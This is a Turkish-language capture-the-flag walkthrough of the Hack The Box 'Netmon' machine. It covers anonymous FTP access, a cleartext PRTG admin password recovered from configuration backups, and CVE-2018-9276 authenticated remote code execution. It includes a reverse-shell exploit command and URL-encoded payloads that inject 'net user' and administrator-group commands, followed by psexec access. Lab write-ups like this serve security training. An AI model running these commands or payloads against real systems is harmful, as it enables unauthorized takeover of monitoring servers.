Hack The Box: Netmon Çözümü

0
269
views
Hack the Box platformu sızma testi alıştırmaları için kullanılabilecek çevrimiçi platformlardan birisidir. Bu yazıda, Hack The Box platformundaki Netmon isimli Kolay zorluktaki sanal makinenin ele geçirilmesi incelenecektir.

Netmon sanal makinesinin IP ve işletim sistemi bilgileri aşağıdaki gibidir.

  • IP Adresi: 10.10.10.152
  • İşletim Sistemi: Windows

 

A) Port Tarama

Port taraması sonucunda 13 adet portun açık olduğu tespit edilmiştir.

nmap -sS -sV -sC -p- –open 10.10.10.152 -oN fulltcp

 

Açık portlar aşağıdaki gibidir:

  • 21/tcp
  • 80/tcp
  • 135/tcp
  • 139/tcp
  • 445/tcp
  • 5985/tcp
  • 47001/tcp
  • 49664/tcp
  • 49665/tcp
  • 49666/tcp
  • 49667/tcp
  • 49668/tcp
  • 49669/tcp

 

Yukarıdaki port tarama sonucuna ait ekran görüntüsünü kabaca incelediğimizde;

  • FTP servisinin “anonymous” olarak dışarıya açık olduğu,
  • HTTP servisi üzerinde “PRTG Network Monitor” uygulaması bulunduğu,
  • SMB servisinin dışarıya açık olduğu,
  • Hedef sistemin Windows Server 2008 R2 ya da Windows Server 2012 olduğu

çıkarımlarında bulunabiliriz.

 

B) FTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\21 portunda FTP servisi göze çarpmaktadır. İlk olarak aşağıdaki komutu kullanarak hedef sisteme FTP bağlantısı gerçekleştirebiliriz;

ftp 10.10.10.152

 

Gerçekleştirdiğimiz FTP bağlantısı sonrası “dir” komutu ile bulunduğumuz dizinin altını listeliyoruz ve gelen dizinlere bakarsak “C:\” dizini altında olduğumuzu söyleyebiliriz. Öncelikli olarak “Users” dizini altına gittiğimizde karşımıza iki dizin “Administrator” ve “Public“. İlk olarak “Administrator” dizini altına gitmeye çalıştığımızda bu dizini listelemek için yetkimiz bulunmadığını gözlemliyoruz. Ardından “Public” dizinini listeliyoruz. Listelediğimizde ise karşımıza ilk hedefimiz olan “user.txt” bayrağı çıkıyor.

Gerçekleştirilen FTP bağlantısı ve “user.txt” bayrağının tespitine ait ekran görüntüsü aşağıda verilmiştir.

 

C) HTTP Servisinin İncelenmesi

Gerçekleştirilen nmap taramasında, TCP\80 portunda HTTP servisinin çalıştığı görülmektedir. Bu aşamada ilk olarak tarayıcı üzerinden sayfamıza gidiyoruz. Karşılaştığımız sayfa aşağıda görüldüğü üzere ilgili uygulamaya ait bir giriş panelidir.

 

İlk olarak bu uygulamaya giriş için kullanılabilecek varsayılan hesap bilgileri için Google’da geziniyoruz. Gerçekleştirdiğimiz arama sonucu karşımıza çıkan hesap bilgileri aşağıdaki gibidir.

  • Kullanıcı adı: prtgadmin
  • Parola: prtgadmin

 

İlgili hesap bilgilerini kullanarak uygulamaya giriş yapmayı denediğimizde, hesap bilgilerinin varsayılan olarak bırakılmadığını tespit ediyoruz.

Ardından ilgili uygulamanın versiyon bilgisini port tarama esnasında elde ettiğimizden dolayı, söz konusu versiyon üzerinde barındırılan zafiyetleri araştırıyoruz.

searchsploit prtg

 

Ancak bu aşamada buradan herhangi bir bilgi elde edemiyoruz. Uygulamaya giriş hesap bilgilerini tespit etmek için şuan elimizde iki seçenek bulunmaktadır; ya kaba kuvvet saldırısı gerçekleştireceğiz ya da uygulamaya ait yapılandırma dosyalarının içeriğini inceleyeceğiz.

İkinci adımı tercih ediyoruz. Çünkü elimizde anonymous şekilde açık olan bir FTP servisi var. İlk olarak uygulamaya ait çevrimiçi zafiyet aramaları gerçekleştirdiğimizde aşağıda verilen uygulamayı yayınlayan firmanın uygulama hakkında yaptığı bir zafiyet açıklamasına denk geliyoruz.

https://www.paessler.com/about-prtg-17-4-35-through-18-1-37

 

İlgili yazıyı incelediğimizde internal bir PRTG Network Monitor’ün, bazı Active Directory ile bütünleşik PRTG kullanıcı hesabı parolalarını ve PRTG Sistem Yönetimi’nden gelen diğer bazı hesap şifrelerini şifrelenmek yerine PRTG Configuration.dat yapılandırma dosyasında düz metin olarak saklandığı belirtilmektedir. Söz konusu zafiyetten ise 17.4.35 (17.4.35.3326) – 18.1.37 arasındaki versiyonların etkilendiği açıklanmaktadır.

Bunlardan yola çıkarak PRTG yapılandırma dosyalarının hedef sistem üzerinde varsayılan yerini tespit etmek için google üzerinde “prtg network monitor configuration file location” anahtar kelimeleri ile araştırma gerçekleştiriyoruz.

Karşımıza çıkan adreslerden aşağıda işaretlediğimiz sayfalara gittiğimizde istediğimiz dosyanın yerini tespit ediyoruz.

 

Hedef sistemin “Windows 2008 R2” yada “Windows Server 2012” olduğu sonucunu hatırlayacak olursak aşağıda işaretlediğimiz dosya yoluna öncelikli olarak FTP bağlantısı gerçekleştirerek erişim sağlamaya çalışabiliriz.

 

Google üzerinden ilgili uygulamaya ait dizin altında bulunması gereken yapılandırma dosyalarını incelediğimizde aşağıdaki ekran görüntüsünde verilen dosyalar çıkmaktadır. Bunlardan da yine aşağıdaki ekran görüntüsünde verilen her iki dosyanın ise birbirinin aynısı olduğu belirtilmektedir. Bu durumun tespitini sonraki aşamalarda gerçekleştireceğiz.

 

İlk olarak tekrar FTP bağlantısı gerçekleştirerek adım adım aşağıda detayı verilen dizine gidiyoruz.

\ProgramData\Paessler\PRTG Network Monitor

 

Ardından ilgili dizim içerisini listelediğimizde yapılandırma dosyalarını tespit ediyoruz. İlgili dosyalardan ikisi Google üzerinde tespit ettiğimiz ancak “.bak” uzantılı olan üçüncü bir dosya olduğunu gözlemliyoruz.

 

İlgili dosyaları “get” komutu ile FTP üzerinden bulunduğumuz dizine indiriyoruz.

 

Ardından dosyaların birbirinin aynısı olup olmadığını tespit için özet değerlerini (hash) kontrol ediyoruz. Bunun için aşağıdaki komutu kullanabiliriz;

shasum PRTG\ Configuration.*

 

İlgili komut ile dosyaların hashlerini incelediğimiz sonu “.dat” ve “.old” uzantılı olan dosyaların aynı dosyalar olduğunu tespit ediyoruz. Ardından aşağıdan verilen komut ile “.bak” uzantılı dosyanın içeriğini görüntülüyoruz ve “prtgadmin” kullanıcısı için uygulamaya giriş bilgisini cleartext olarak tespit ediyoruz.

cat PRTG\ Configurtaion.old.bak | grep -A 10 prtgadmin

 

Tespit ettiğimiz kullanıcı hesabı bilgisi aşağıdaki gibidir;

  • Kullanıcı adı: prtgadmin
  • Parola: PrTg@dmin2018

 

İlgili hesap bilgisini kullanarak sisteme giriş yapmaya çalıştığımızda başarısız olduğu yanıtı dönüyor.

 

Bu aşamada bulunduğumuz yıl 2019 olduğundan dolayı parolayı aşağıdaki şekilde güncelleyerek tekrar giriş yapmayı deniyoruz ve sonuç başarılı oluyor.

  • Kullanıcı adı: prtgadmin
  • Parola: PrTg@dmin2019

 

Artık sistem yöneticisi olarak ilgili uygulamaya giriş yapmış bulunmaktayız.

 

 

D) PRTG Network Monitor Zafiyetinin İstismarı – I

Bir sonraki aşamada ise Exploit-DB üzerinde söz konusu uygulamanın ilgili versiyonu üzerinde barındırılan zafiyetleri araştırıyoruz. Karşımıza hedef sistem üzerinde uzaktan komut çalıştırmamızı sağlayacak olan aşağıdaki exploit çıkıyor. (Diğer exploitler XSS ve DoS saldırıları içindir.)

 

Sonuç olarak kullanılan PRTG Network Monitor 18.2.38 sürümünde kimlik doğrulamalalı olarak Remote Code Execution (RCE) zafiyeti bulunmaktadır. İlgili zafiyete ait istismar kodunun Github üzerinde yayınlanmış bir versiyonu bulunup bulunmadığını kontrol ettiğimizde aşağıda verilen sayfa ile karşılaşıyoruz.

 

Ardından aşağıdaki komut ile ilgili istismar kodunu sistemimize indiriyoruz;

git clone https://github.com/wildkindcc/CVE-2018-9276.git

 

İlgili betiği çalıştırabilmek için aşağıda verilen komut ile izinlerini düzenliyoruz.

chmod 755 CVE-2018-9276.py

 

Son olarak ise aşağıda verilen komut istismar kodumuzu çalıştırıyoruz.

python CVE-2018-9276.py -p 80 –lhost 10.10.14.6 –lport 9689 –user prtgadmin –password PrTg@dmin2019

 

İlgili betiği gerekli parametreler ile çalıştırdıktan sonra hedef sistem üzerinden “NT Authority\SYSTEM” haklarında oturum elde etmiş oluyoruz.

 

E) PRTG Network Monitor Zafiyetinin İstismarı – II

Aynı zafiyetin istismarı için Github üzerinden indirilen bash betiği ile de hedef sistem üzerinde yerel bir yönetici kullanıcı oluşturulabilirdi.

https://github.com/M4LV0/PRTG-Network-Monitor-RCE

./prtg-exploit.sh -u http://10.10.10.152 -c “_ga=GA1.4.XXXXXXX.XXXXXXXX; _gid=GA1.4.XXXXXXXXXX.XXXXXXXXXXXX; OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX; _gat=1”

 

Not: Kimlik bilgisini değiştirmek için 36. satırdaki “data2” ve 54. satırdaki “data3” değişkenlerinin içeriği değiştirilebilir.

  • data2=”… &message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%3Bnet+user+pentest+P3nT3st!+%2Fadd%22 …”
  • data3=”… &message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%3Bnet+localgroup+administrators+%2Fadd+pentest%22 …”

 

Sonra da Impacket Psexec.py betiği ile komut satırı erişimi elde edilebilir.

/opt/impacket/examples/psexec.py pentest:’P3nT3st!’@netmon.htb

 

Bu aşamadan sonra aşağıda verilen komutlar ile ilk olarak “root.txt” bayrağımızın yerini ardından da içeriğini görüntüleyebiliriz;

dir C:\ /s/b | find /i “root.txt”
type C:\Users\Administrator\Desktop\root.txt

 

Kaynaklar:

https://pentestworld.blogspot.com/2019/10/hack-box-netmon.html
https://0xrick.github.io/hack-the-box/netmon/
https://www.reddit.com/r/sysadmin/comments/835dai/prtg_exposes_domain_accounts_and_passwords_in/

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

This site uses Akismet to reduce spam. Learn how your comment data is processed.